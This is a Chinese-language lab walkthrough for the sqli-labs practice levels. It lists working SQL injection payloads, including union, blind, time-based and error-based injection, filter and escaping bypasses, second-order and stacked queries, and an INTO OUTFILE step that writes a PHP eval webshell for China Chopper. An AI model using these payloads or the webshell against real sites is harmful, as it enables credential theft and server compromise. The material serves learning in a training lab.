Sqli-labs-master闯关题注入语句和方法总结。
注入语句的形式多种多样,就连句型也各不尽相同,包裹类型,注入方式也是多种多样,因此在特定的问题下,用最恰当最简单的语句解决问题至关重要,不但能提高效率,还可以减轻工作量,对于工足量巨大且枯燥的注入更是如此,接下来就我注入闯关题进行总结一下吧!(本人较菜,见谅见谅,希望可以帮助到你)
首先我们接触的都是时get型的注入,其次还有post型注入他们语句形式完全不同,但是却可以起到相同的作用。
1、我们先来说说get型注入:
对于数据的包裹形式不外乎两种:数字型和字符型,数字型有单括号、双括号。但是字符型又有多种 变形,出现了单引号、双引号、单引号单层括号、双引号双层括号、单引号双层括号、双引号单层括号。这些都需要 我们去一一实验。大胆尝试猜想(由于变幻多样,也得根据具体而定)
首先刚开始的时候我们接触到的是联合查询union select测试,给出示例:(目前1-4关可以做了)
1 ?id=1 and 1=2 --+ 2 3 库: 4 5 ?id=-1' union select 1,2,database() --+ 6 7 表: 8 9 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 10 11 ?id=-1' union select 1,version(),database() --+ 12 13 列: 14 15 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 16 17 ?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =‘user’--+ 18 19 值: 20 21 ?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
也许有人会有疑惑,这里的id为啥要用错误的呐,这个问题我一开始也不明白,此处介绍union联合注入,union的作用是将两个sql语句进行联合。强调一点:union前后的两个sql语句的选择列数要相同才可以。Union all与union 的区别是增加了去重的功能。当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。这是联合语句的特性。
接下来我们接触的是布尔盲注,这里总结了两种方法:left函数(就是猜,一个个猜)、二分法(也是猜,更简单些),没办法谁让是盲注,虽然麻烦,但是可以解决问题很多。
此外还有其他两种方法:时间延迟型注入(根据延迟时间判定猜的准不准,猜对了会有延迟)、报错型注入。
在这里报错型注入又有三种形式:通过floor报错、通过updataexml报错、通过ExtractValue报错。
floor型报错注入:
1 版本、型号: 2 3 ?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+ 4 5 库: 6 7 ?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+ 8 9 表: 10 11 id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23 12 13 列: 14 15 ?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%2 16 17 值: 18 19 ?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
手工型报错注入(extractvalue型):
1 表: 2 3 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 4 5 列: 6 7 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ 8 9 显示其他: 10 11 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+ 12 13 值; 14 15 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+ 16 17 其他值: 18 19 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
时间延迟型注入:
1 库: 2 3 ?id=1' and if(left(database(),1)='s',sleep(5),1)--+ 4 5 表: 6 7 ?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+ 8 9 列: 10 11 ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+ 12 13 值: 14 15 ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+ 16 17 ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
布尔型手工注入( 就是left函数、正确有回显,错误没有):
1 库: 2 3 ?id=1' and left((select database()),1)='s'--+ 4 5 表: 6 7 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+ 8 9 列: 10 11 ?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+ 12 13 爆字段; 14 15 ?id=1' and left((select password from users order by id limit 0,1),1)='d' --+ 16 17 用户名: 18 19 ?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
二分法:
1 库: 2 3 ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法不断缩小范围。可以不断的出数据库名称:第三个字母c代表的ASCII值为99,以此类推:security 4 5 表: 6 7 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+ 8 9 列: 10 11 ?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+ 12 13 用户名和密码: 14 15 ?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>数值--+继续猜解即可得到字段内的值。
使用concat聚合函数:
1 库: 2 3 ?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 4 5 //或者 6 7 ?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 8 9 //注意本本方法具有随机性,原理待研究 10 11 用户: 12 13 ?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+ 14 15 表: 16 17 ?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 18 19 修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password 20 21 列: 22 23 ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 24 25 修改limit x,1 可以遍历列名,找到username和password列 26 27 爆字段: 28 29 ?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 30 31 到这里五六关可以差不多了!继续!
第七关出现了新东西:outfile
对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令是filefile系列函数来进行读取敏感文件或者写入webshell
所以我们就可以根据提示来往数据库中写入文件来解答此题!
在环境下 随意建一个文件:
1 union select 1,2,3 into outfile "C:\\phpStudy\\MySQL\\data\\liyingkun.php" 2 3 接下来我们在这个文件内加一句 木马,那样我们就可以通过此文件进入到数据库了。(如果写到www文件夹下就可以用localhost前缀了,便于用菜刀查询) 4 5 ?id=1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\\\WWW\\liyingkun.php" --+
注意:不可以重复写入相同文件,因为这里文件不可以覆盖。另外 中国菜刀的简单用法博客里有对应的介绍,不多说。
前十关都可以解决了!
接下来我们接触到了一种新的post提交方式,post,它主要指的是数据从客户端提交到服务端。和之前的get方式有一些类似。
首先还是判断注入类型:
uname=admin' and 1=1# &passwd=admin&submit=Submit
(注意:注释符不能再用--+或者--空格,只能用#,因为前者是在url中使用的)
以时间延迟型注入为例:
1 显位: 2 3 uname=a&passwd=a' order by 3#&submit=Submit 4 5 (uname=admin' order by 3#&passwd=admin&submit=Submit) 6 7 库: 8 9 uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit 10 11 uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit 12 13 表: 14 15 uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit 16 17 列: 18 19 uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit 20 21 数值: 22 23 uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit 24 25 1. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度 26 27 2. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a 28 29 3. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g 30 31 4. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询
使用updatexml(),它和extractvaule()是亲兄弟
1 测试爆库: 2 3 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 4 5 列名: 6 7 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit 8 9 值: 10 11 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit 12 13 加了一层select: 14 15 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit 16 17 18 19 uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit 20 21 22 23 uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit
到第十七关的时候,我们发现各种包裹形式都不对,那可怎么办!
代码中使用了get_magic_quotes_gpc name和password分开验证,我发现这关对username做了很严格的过滤,对各种引号括号进行了转义,所以只能在password处注入。
报错型注入:
1 测试爆库: 2 3 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 4 5 列名: 6 7 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit 8 9 值: 10 11 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit 12 13 加了一层select: 14 15 uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit 16 17 18 19 uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit 20 21 22 23 uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit
十八关又完善了对password的转义和过滤。只能用抓包了。简单的抓包介绍我在博客里简单介绍过了,就不多说了。
1 查库: 2 3 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1) and' 4 5 这里总结了几种注入点类型:user-agent 、referer、cookie(都是头部注入)
二十关又有了复杂的cookie注入:会用到base64编码
所以 我们需要一个解码工具:https://base64.us/
1 爆库名: 2 3 admin" union select 1,2,database()# 4 5 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj 6 7 查显位: 8 9 -admin" union select 1,2,group_concat(username,0x3a,password) from users#= 10 11 这是base64码 : 12 13 ICAtYWRtaW4iIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMjPSA= 14 15 然后,然后就完事了!
到了二十三关,# 、--+都被过滤了,那怎么办呐,当然我们可以 利用%00或者and和or“1”=“1来闭合后面的双引号。
1 新构造语句: 2 3 库: 4 5 ?id=' union select 1,2,database() ' 6 7 表: 8 9 ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= ' 10 11 爆列: 12 13 ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= ' 14 15 爆值: 16 17 ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
碰到二十四关这样的咋办?原来是二次注入啊!
首先,这是一个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
第二十五关:Trick with OR & AND (过滤了or和and)
方法一,-就是用--+ #这种一般注入。
?id=-1' union select 1,2,database()--+
方法二,双写or或and绕过
测试payload
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
第二十六关:(failed) Trick with comments and space (过滤了注释和空格的注入)
题目提示空格与注释被过滤了,使用可以%0a
绕过,可以盲注也可以报错注入
总结:
or可以用||替换 and可以用&& 注释符用;%00替代 空格用%a0替代
%09 TAB键(水平) %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) %a0 空格 %27单引号
用'1'='1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)
例子:
1 ?id=0%A0or(1)=(1)%26%26%a0"1 2 3 显位:?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271 4 5 爆库名: ?id=0'union%a0select%a01,database(),3%26%26'1'='1 6 7 查表名 ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1 8 9 爆列名 ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1 10 11 爆用户名密码 ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询) 12 13 还有一种就是用连接符结合xpath报错获取信息 ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||' 14 15 ?id=0'||left(database(),1)='s'%26%26'1'='1(盲注)
第二十七关GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
空格、关键字过滤:所以我们就用URL编码和大小写进行绕过。
二十八例子:
1 盲注:?id=0'||left(database(),1)='s'%26%26'1'='1 2 3 爆数据库名: 4 5 ?id=0')UNion%a0SElect%a01,database(),('13')=('13 6 7 爆表名 ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('13')=('13 8 9 爆列名 ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('13')=('13 10 11 爆用户名和密码 ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('13')=('13
三十二关,宽字节饶过引号转义。
git:
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用。
1 爆数据库名 ?id=-1%E6' union select 1,version(),database() --+ 2 3 在爆列的时候我们要用到‘user’,有单引号,我们用十六进制编码替代,users 使用十六进制编码得到7573657273,构造为0x7573657273 4 5 获取列名 ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+ 6 7 获得用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+ 8 9 post: 10 11 获取数据库版本和数据库名 uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit 12 13 获取数据库密码 uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit 14 15 注意获得列名的时候引号要转义
三十八关又有了新东西:堆叠注入
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句
这一关的主旨是新建表: ?id=1';create table test like users;%23
再查表的时候就已经发现有我们刚才新建的表了,如果我们查看文档,你会发现新建的那个表的信息就是用户名和密码。直接就出来了。
第四十六关:GET-Error based-Numeric-ORDER BY CLAUSE
题目提示用order by语句进行注入。
select * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
select right(database(),1);从右至左输出第一个字母
select lesft(database(),1);从左至右输出第一个字母
lines terminated by 111 每行输出以111结尾
报错例子:
获取数据库名 : ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
获取数据库的权限:
?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
获得数据库版本 : ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
好了,大致基本就这样了,后面的都是联系了,好好地做呦。。。。